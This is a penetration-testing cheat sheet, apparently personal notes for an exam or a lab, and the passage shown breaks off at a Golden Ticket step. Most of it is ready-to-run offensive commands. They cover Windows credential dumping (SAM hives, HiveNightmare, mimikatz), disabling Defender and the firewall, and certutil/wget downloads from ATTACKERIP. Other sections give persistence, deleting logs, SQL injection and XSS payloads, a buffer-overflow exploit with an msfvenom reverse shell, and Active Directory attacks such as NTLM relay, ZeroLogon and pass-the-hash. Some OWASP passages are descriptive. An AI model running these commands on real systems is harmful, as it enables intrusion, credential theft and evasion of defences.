wmic qge get ARG1,ARG2,ARG3 (*Caption, Description, HotfixID, InstalledOn*)

Show Domain Controller

nltest /DCLIST:DomainName

nltest /DCNAME:DomainName

nltest /DSGETDC:DomainName

User Enumeration

whoami

whoami /priv

whoami /groups

whoami /all

Get-LocalUser | ft Name,Enabled,LastLogon

Get-ChildItem C:\Users -Force | select Name

net accounts

net user

net user USERNAME (Password expiry, groups, last logon)

net localgroup

net localgroup GROUPNAME

net localgroup administrators

Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Network Enumeration

ipconfig

ipconfig /all

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Get-DnsClientServerAddress -AddressFamily IPv4 | ft

arp -A

Get-NetNeighbor -AddressFamily IPv4 | ft

ifIndex,IPAddress,LinkLayerAddress,State

```
route print
Get-NetRoute -AddressFamily IPv4 | ft
DestinationPrefix,NextHop,RouteMetric,ifIndex
```

netstat -ano (shows open connections and ports/ potential port forwarding attack)

```
net share
powershell Find-DomainShare -ComputerDomain domain.local
```

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

Password Hunting

```
findstr /si password *.txt *.ini *.config
```

SAM and SYSTEM files

```
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump or samdump2.
```

Generate a hash file for John using pwdump or samdump2

```
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
Either crack it with john -format=NT /root/sam.txt or use Pass-The-Hash.
```

HiveNightmare

Check for the vulnerability using icacs

```
C:\Windows\System32> icacs config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Users:(I)(RX)  <-- this is wrong - regular users should not have
read access!
```

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```
mimikatz> token::whoami /full
```

```
mimikatz> misc::shadowcopies
```

```
mimikatz> lsadump::sam /system:\\?
```

```
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
sam:\\?
```

```
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
```

```
mimikatz> lsadump::secrets /system:\\?
```

```
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
security:\\?
```

```
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\
```

Search for file contents

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```

```
findstr /si password *.xml *.ini *.txt *.config
```

```
findstr /spin "password" *.*
```

Search for a file with a certain filename

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* ==
*.config*
```

```
where /R C:\ user.txt
```

```
where /R C:\ *.ini
```

Search the registry for key names and passwords

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
```

```
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# Windows
```

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
2>nul | findstr
```

```
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP
parameters
```

```
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text
proxy credentials
```

```
reg query "HKCU\Software\ORL\WinVNC3>Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
```

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Read a value of a certain sub key

```
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList.
```

Passwords in unattend.xml

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt
2>nul.
```

Location of the unattend.xml files.

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```

IIS Web config

```
Get-Childitem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction
SilentlyContinue
```

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

Other files

```
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
```

```
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```

Wifi passwords

Find AP SSID

```
netsh wlan show profile
```

Get Cleartext Pass

```
netsh wlan show profile <SSID> key=clear
```

Oneliner method to extract wifi passwords from all the access point.

```
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^|
find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a
key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo
on
```

Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at C:

\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8wwe

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

<https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/>


```
SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p
s3cr3tP@ss
```

Powershell History

Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle
SaveNothing.

```
type %userprofile%
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:
\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

Powershell Transcript

```
C:
\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.txt
C:
\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
Password in Alternate Data Stream
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```

AV Enumeration

```
sc query windefend
sc queryex type= service
```

```
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
```

```
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq
"0"} | select name,applicationname,localports
```

Disable Firewall

```
# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
```

```
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

Disable Firewall on Windows 7 via Powershell

```
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value`'
```

Disable Firewall on any windows via cmd

```
netsh firewall set opmode disable
```

```
netsh Advfirewall set allprofiles state off
```

Windows Defender

check status of Defender

```
PS C:\> Get-MpComputerStatus
```

disable scanning all downloaded files and attachments, disable AMSI (reactive)

```
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
```

```
PS C:\> Set-MpPreference -DisableIOAVProtection $true
```

disable AMSI (set to 0 to enable)

```
PS C:\> Set-MpPreference -DisableScriptScanning 1
```

exclude a folder

```
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
```

```
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
```

```
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
```

remove signatures (if Internet connection is present, they will be downloaded again):

```
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
```

Applocker Enumeration

```
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

- Applocker Bypass

- ◇ <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md>

- ◇ <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/>

[VerifiedAppLockerBypasses.md](#)

◇ <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md>

Default Writeable Folders

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\spool\drivers\color

C:\Windows\Tasks

C:\Windows\tracing

C:\Windows\Temp

C:\Users\Public

Automated Tools

Executables

winPEAS.exe

PowerShell

sherlock.ps1

PowerUp.ps1

jaws-enum.ps1

Other

windows-exploit-suggester.py

Using Automated Tools

using meterpreter > upload file into c:\\windows\\tmp

run winPEAS.exe (NEEDS .NET 4.0)

using meterpreter > load powershell

./PowerUp.ps1

Invoke-PowerUp

using meterpreter > use post/multi/recon/local_exploit_suggester

Windows Exploit Suggesterpy (GITHUB)

Kernel Exploits

A computer program that facilitates communication between hardware and

software (A translator)

windows kernel exploit (GITHUB)

Escalation with Metasploit

always try kitrap0d exploit if vulnerable!
use windows/local/ms10_015_kitrap0d

Try others that appear if not found

Manually Escalate (tRy HaRdEr!!)

windows exploit suggerter will show potential kernel exploits

search "MSXX-XXX exploit"

Escalating with Passwords and Port Forwarding

Post Exploitation

File Transfer Methods

certutil.exe -urlcache -f <http://ATTACKERIP/file> newfilename

python -m SimpleHTTPServer 80

Browser directly to file

python -m pyftplib 21 (FTP to attacker machine)

wget <http://ATTACKERIP/file>

Meterpreter upload/download filename

Maintaining Access

Add user

net user USERNAME PASSWORD /add

Metasploit

persistence -h

use exploit/windows/local/persistence

use exploit/windows/local/registry_persistence

Scheduled Tasks

run scheduleme

run schtask abuse

Pivoting

using MSFConsole

use exploit/windows/smb/psexec and login to a machine using known credentials

run autoroute -s IPADDRESS

use auxiliary/scanner/portscan/tcp and scan the new domain

Cleanup

remove executables, scripts, and added files

remove any trojans, malware, added users

revert any changed settings

delete any logs associated with your presence

Web Enumeration

Sub Domain Enumeration

assetfinder [--subs-only] <domain>

cd /opt/AssetFinder/

./subdom.sh <domain>

OR

./sumrecon.sh <domain>

amass enum -d <domain>

<targetfile> | httpprobe -s | sed 's/https\?:\\\/\\\/' | tr -d ':PORT'

Web Enumeration (80/443)

dirb [http://\\$IPADDRESS/](http://$IPADDRESS/)

nikto -h \$IPADDRESS

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u
http://IPADDRESS/FUZZ

Automate Screenshots

gowitness scan IPADDRESS/RANGE

Version detection + NSE scripts

nmap -Pn -sV -p \$port "--script=banner,(http* or ssl*) and not (brute or
broadcast or dos or external or http-slowloris* or fuzzer)" -oN

tcp_port_protocol_nmap.txt \$ip

Nikto

nikto -h \$url 2>&1 | tee "tcp_port_protocol_nikto.txt"

Directory brute force

gobuster dir -u \$url -w /usr/share/seclists/Discovery/Web-Content/common.txt -
x "txt,html,php,asp,aspx,jsp" -s "200,204,301,302,307,403,500" -k -t 16 -o
"tcp_port_protocol_gobuster.txt"

python3 /opt/dirsearch/dirsearch.py -u \$url -t 16 -e txt,html,php,asp,aspx,jsp -f -
x 403 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-
report="tcp_port_protocol_dirsearch.txt"

Dirbuster (GUI): only perform extension brute force - disable 'Brute Force Dirs'

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404
-t 16 \$url/FUZZ 2>&1 | tee "tcp_port_http_wfuzz.txt"

```
# Directory brute force recursively with max depth = 2
python3 /opt/dirsearch/dirsearch.py -u $url/apps/ -t 16 -e txt,html,php -f -x 403
-r -R 2 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-
report="tcp_port_protocol_dirsearch_apps.txt"
Whatweb
```

```
whatweb --color=never --no-errors -a 3 -v $url 2>&1 | tee
"tcp_port_protocol_whatweb.txt"
Wordpress
```

```
# Enumerate vulnerable plugins and themes, timthumbs, wp-config.php
backups, database exports, usernames and media IDs
wpscan --url $url --no-update --disable-tls-checks -e vp,vt,tt,cb,dbe,u,m --
plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-
color 2>&1 | tee tcp_port_protocol_wpscan.txt
```

```
# Enumerate all plugins
wpscan --url $url --disable-tls-checks --no-update -e ap --plugins-detection
aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan_plugins.txt
Robots.txt
```

```
/robots.txt
Only get HTTP headers
```

```
curl -I $url
Cewl
```

```
cewl $url/index.php -m 3 --with-numbers -w cewl.txt
Drupal
```

```
python3 drupwn --version 7.28 --mode enum --target $url
```

```
droopescan scan drupal -u $url
Shellshock
```

```
# Check if bash vulnerable to CVE-2014-6271 (bash vulnerable if 'vulnerable'
in output)
env x='()' { :; }; echo vulnerable' bash -c "echo this is a test"
```

```
# Brute force CGI files
gobuster dir -u $url/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/
common.txt -x "cgi,sh,pl,py" -s "200,204,301,302,307,403,500" -t 16 -o
"tcp_port_protocol_gobuster_shellshock.txt"
```

```
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/CGIs.txt --hc 404 -t 16 $url/cgi-bin/FUZZ 2>&1 | tee "tcp_port_protocol_wfuzz.txt"
```

Webmin uses cgi files - versions up to 1.700 vulnerable to shellshock (<http://www.webmin.com/security.html>)

OWASP Top 10 Attacks

Utilize the OWASP testing checklist.xlsx to make sure you don't miss anything!

```
docker run -d -e "NODE_ENV=unsafe" -p 3000:3000 bkimminich/juice-shop
```

SQL Injection

test out sql injection by using ' or admin (sleep 10)
attempt to login using:
admin' OR 1=1; --

- * User-supplied data is not validated, filtered, or sanitized by the application.
- * Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.
- * Hostile data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.
- * Hostile data is directly used or concatenated, such that the SQL or command contains both structure and hostile data in dynamic queries, commands, or stored procedures.

Some of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Source code review is the best method of detecting if applications are vulnerable to injections, closely followed by thorough automated testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. Organizations can include static source (SAST) and dynamic application test (DAST) tools into the CI/CD pipeline to identify newly introduced injection flaws prior to production deployment.

https://owasp.org/www-project-top-ten/2017/A1_2017-Injection

PayloadAllTheThings:

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/>

Broken Authentication

Does it allow credential stuffing? (Intruder)

Does it prevent BruteForcing?

Does it use default or weak credentials

Does it use ineffective or weak recovery method

Does it require MFA?

Does it expose session ID's?

Does it rotate session ID's?

Does it invalidate older Session ID's?

- * Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords.
- * Permits brute force or other automated attacks.
- * Permits default, weak, or well-known passwords, such as "Password1" or "admin/admin".
- * Uses weak or ineffective credential recovery and forgot-password processes, such as "knowledge-based answers", which cannot be made safe.
- * Uses plain text, encrypted, or weakly hashed passwords (see A3:2017-Sensitive Data Exposure).
- * Has missing or ineffective multi-factor authentication.
- * Exposes Session IDs in the URL (e.g., URL rewriting).
- * Does not rotate Session IDs after successful login.
- * Does not properly invalidate Session IDs. User sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren't properly invalidated during logout or a period of inactivity.

https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication

Sensitive Data Exposure

Looking for back-up files, password files, PII, PHI

ENUMERATE find hidden directories, hidden files

Look for missing headers on securityheaders.com

such as the Strict Transport Security header

nmap --script=ssl-enum-cyphers -p 443 TARGET

- * Is any data transmitted in clear text? This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
- * Are any old or weak cryptographic algorithms used either by default or in

older code?

- * Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
- * Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
- * Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?

https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure

XML External Entities (XXE)

Enumerate with unauthenticated and authenticated accounts looking for potential avenues of attack

FILE UPLOADS are ALWAYS INTERESTING!

reverse shells, XXE, malicious payloads, dump information, etc.

PayloadAllTheThings:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md#classic-xxe>

- * The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.
 - * Any of the XML processors in the application or SOAP based web services has document type definitions (DTDs) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the OWASP Cheat Sheet 'XXE Prevention'.
 - * If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.
 - * If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.
- Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack

[https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_\(XXE\)](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE))

Broken Access Control

User gets access to somewhere they shouldn't inspect element and remove hidden fields, change password fields to text fields, etc.

- * Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.
- * Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account.
- * Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.
- * Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation.
- * CORS misconfiguration allows unauthorized API access.
- * Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html

Security Misconfigurations

Default credentials, unpatched software, plaintext transmission, missing headers, improper error handling

- * Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
- * Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
- * Default accounts and their passwords still enabled and unchanged.
- * Error handling reveals stack traces or other overly informative error messages to users.
- * For upgraded systems, latest security features are disabled or not configured securely.
- * The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
- * The server does not send security headers or directives or they are not set to secure values.
- * The software is out of date or vulnerable (see A9:2017-Using Components

with Known Vulnerabilities).

Without a concerted, repeatable application security configuration process, systems are at a higher risk.

https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration

Cross Site Scripting (XSS)

- * Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim's browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
- * Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
- * DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.

[https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_\(XSS\)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))

PayloadAllTheThings

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>

xss payloads

<https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt>

Reflected XSS

Does not get stored on the Server side (refreshed/deleted once you leave the page)

```
<iframe src="javascript:alert(`xss`)">.  
<script>alert(1)</script>
```

Stored XSS

Gets saved on the server and is resubmitted each time the page is loaded.

Insecure Deserialization

* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.

Serialization may be used in applications for:

- * Remote- and inter-process communication (RPC/IPC)
- * Wire protocols, web services, message brokers
- * Caching/Persistence
- * Databases, cache servers, file systems
- * HTTP cookies, HTML form parameters, API authentication tokens

https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization

PayloadAllTheThings:

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization>

Component and Known Vulnerabilities

- * If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
- * If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.
- * If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.
- * If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
- * If software developers do not test the compatibility of updated, upgraded, or patched libraries.

Insufficient Logging & Monitoring

- * Auditable events, such as logins, failed logins, and high-value transactions are not logged.
- * Warnings and errors generate no, inadequate, or unclear log messages.
- * Logs of applications and APIs are not monitored for suspicious activity.
- * Logs are only stored locally.
- * Appropriate alerting thresholds and response escalation processes are not in place or effective.
- * Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts.
- * The application is unable to detect, escalate, or alert for active attacks in real time or near real time.

Buffer Overflows

Spiking

```
generic_send_tcp IPADDRESS PORT stats.spk 0 0
generic_send_tcp IPADDRESS PORT Truns.spk 0 0
    repeat for each potentially vulnerable service
```

Fuzzing

run fuzzing1.py to find the number of bytes until the crash

Finding the Offset

Generate a pattern using:

```
/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/
embedded/framework/tools/exploit/pattern_create.rb -l LENGTH
```

Add this new pattern to the Fuzzing python script under the variable name "Offset"

```
/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/  
embedded/framework/tools/exploit/pattern_offset.rb -l LENGTH -q OFFSET
```

Overwriting the EIP

Run the badchar.py script and identify which hexcodes are not produced in order. (ie: 01-09, A0-A9)

Use the "Follow in Dump" option of ESP to identify the badchars

Right down the ones that are missing and make sure to write them down to remove them from your shellcode.

Using MONA to find EIP

**Download MONA.py to C:\Program Files
x86\ImmunityInc\ImmunityDebugger\PYCommands**

Run " !Mona Modules

Find the process with no protections

Load up NASM Shell at

```
/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/  
embedded/framework/tools/exploit/nasm_shell.rb
```

Search for vulnerable Process

JMP ESP

and write down the hex information (FFE4)

Return to Immunity and search

!mona find -s "\xff\xef" -m PROCESSNAME

Notate the new hex code

Enter the new hex code into the EIP.py script in little endian (reverse)

Generate Shell Code

```
msfvenom -p windows/shell_reverse_tcp LHOST=IPADDRESS LPORT=4444  
EXITFUNC=thread -f c -a x86 -b "\ALL\BAD\CHARS"
```

Add to EIP and begin attempting to add NOPs (“\x99”) and run the exploit until the program works

Use MONA to find ByteArray

Create a folder called “mona” in c:\

```
!mona config -set workingfolder c:\mona
```

```
!mona bytearray -cpb “\x00”
```

Use MONA to find BadChars

```
!mona compare -f c:\mona\bytearray.bin -a ESP-HEX
```

Use MONA to find JMP

```
!mona jmp -r ESP -m “PROCESS”
```

Attacking AD

Enumerating AD

Enumerate users

```
net user
```

```
net user /domain
```

```
net user $domain_user /domain
```

Enumerate groups

```
net group /domain
```

Includes domain users that are part of local administrators group

```
net localgroup administrators
```

PowerView

```
# Import PowerView
```

```
PS> Import-Module .\PowerView.ps1
```

```
# Get info about current domain
```

```
PS> Get-NetDomain
```


List members of Domain Admins group

```
PS> Get-NetGroupMember -GroupName "Domain Admins"
```

List all computers in domain

```
PS> Get-NetComputer
```

Enumerate logged-on users

NB: only lists users logged on to target if we have local administrator privileges on target

```
PS> Get-NetLoggedon -ComputerName $hostname
```

Enumerate active user sessions on servers e.g. file servers or domain controllers

```
PS> Get-NetSession -ComputerName $hostname
```

Enumerate SPNs

```
PS> Get-NetUser -SPN | select serviceprincipalname
```

Abusing LLMNR poisoning

Using responder -

```
python /opt/Responder/Responder.py -I INTERFACEID -rdwv
```

(Defend against this by disabling LLMNR and NBT)

SMB Relay Attacks

```
nmap --script=smb2-security-mode.nse -p445 NETWORK
```

(If SMB signing is disabled)

Send targets to a list (targets.txt)

Launch Responder

Launch NTLMRelayx.py

```
python /opt/impacket-0.9.19/examples/ntlmrelayx.py -tf targets.txt -smb2support
```

-i Interactive

-e Execute

-c Command

Copy SAM hashes and crack offline

Getting a Shell with PSEXec

Use SAM database credentials to exploit SMB

```
MSF > exploit/windows/smb/psexec
Set RHOST
Set smbdomain (testlab.local)
set smbuser (Username)
set smbpass (crackedPass)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST
```

run

OR

```
psexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS
```

```
smbexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS
```

```
wmiexec.py DOMAIN.LOCAL/Username:Password@IPADDRESS
```

Utilizing MITM6

```
mitm6 -d DOMAIN.local
```

```
ntlmrelayx.py -6 -t ldaps://IPADDRESS -wh fakewpad.testlab.local -l lootme
```

Utilize the new credential created to login to DC

Abusing ZeroLogon

```
run >> python3 zerologon_tester.py MACHINE IPADDRESS
```

if it confirms that it can be abused:

```
run >> python3 cve-2020-1472-exploit.py MACHINE IPADDRESS
confirm using >> secretsdump.py -just-dc DOMAIN/MACHINE\$_@IPADDRESS
(notate admin hash)
```

Restore by finding the plain_password_hex hash:

```
secretsdump.py Administrator@IPADDRESS -hashes ADMINHASH
```

```
python3 restorepassword.py DOMAIN/MACHINE@MACHINE -target-ip  
IPADDRESS -hexpass PLAINPASSHASH
```

Internal Playbook

Begin by running MITM6 or Responder
Run scans to try to generate traffic
Look for websites in scope
Look for default creds (printers, Jenkins, etc)

AD Post Compromise

Powersploit's PowerView.ps1 Enumeration

get powerview on a box and run it in powershell

```
Get-NetDomain  
Get-NetDomainController  
Get-DomainPolicy  
(Get-DomainPolicy)."SPECIFIC POLICY"  
Get-NetUser | select cn  
Get-NetUser | select samaccountname  
Get-UserProperties -Properties logonaccount (identify honeypots)  
Get-NetComputer  
Get-NetComputer -FullData  
Get-NetGroup  
Get-NetGroupMember -GroupName "NAME"  
Get-NetGPO | select displayname, whenchanged  
Invoke-ShareFinder
```

Bloodhound Enumeration

Run neo4j console and login to bloodhound with neo4j password

get SharpHound loaded onto the target device

Invoke-BloodHound -CollectionMethod All -Domain DOMAIN.local -
ZipFileName file.zip

load .zip file into Bloodhound

Pass the Hash/ Password

crackmapexec smb IPPADDRESS/RANGE -u USER -H HASH --local
crackmapexec smb IPPADDRESS/RANGE -u USER -d DOMAIN.local -p
PASSWORD

(USE Single Quotes for passwords with symbols)

secretsdump.py DOMAIN/USER:PASSWORD@IPADDRESS (Use to get all system
user info)

use psexec to abuse found hashes

psexec.py "USERNAME"@IPADDRESS -hashes NTLM:HASH

Token Impersonation

msfconsole
use exploit/windows/smb/psexec
set RHOST to victim
set smbdomain to domain.local
set smbuser to captured credentials
set smbpass to captured credentials
set target to native upload

load incognito

add_user
list_tokens -u
impersonate_tokens domain\\user

tokens only work until reboot
(limit token creation permission, local admin restriction, account tiering)

Kerberoasting

python GetUserSPNs.py domain.local/user:password -dc-ip IPADDRESS -
request

Use HASHCAT to break password (Password Cracking section)

(Use strong passwords and least privilege)

GPP Attack

MS14-025 in SMB enabled machines, Group.xml file is important

prompt off

recurse on

mget *

Groups.xml file contains hashes and usernames

gpp-decrypt HASH

or MSF > use auxillary/smb_enum_gpp

use PSEXEC to login with credentials or kerberoasting to get domain credentials

URL File Attacks

from an open file share or compromised user account

upload a .url file (ex on Desktop) to the share and run responder to listen for hashes

PrintNightmare

create a dll to abuse vulnerability with MSFVenom

share dll with smbserver.py share 'PATH/TO/FILE -smb2support

start msfconsole > use /multi/handler and set payload to one used in MSFVnom

use Cube0x0 github exploit and connect to attacker share

MIMIKatz

Get MIMIKatz onto the compromised machine

execute mimikatz.exe

privilege::debug >> "20" ok is what we want to see

sekurlsa::logonpasswords >> Shows all users logged on since last reboot and computer NTLM Hashes

lsadump::sam (/patch) >> Show all user passwords on a system

lsadump::lsa /patch >> DUMP Local Security Authority (creates logons for local computer)

Golden Ticket

using mimikatz
run privilege::debug
run lsadump::lsa /inject /name:krbtgt

get SID of domain
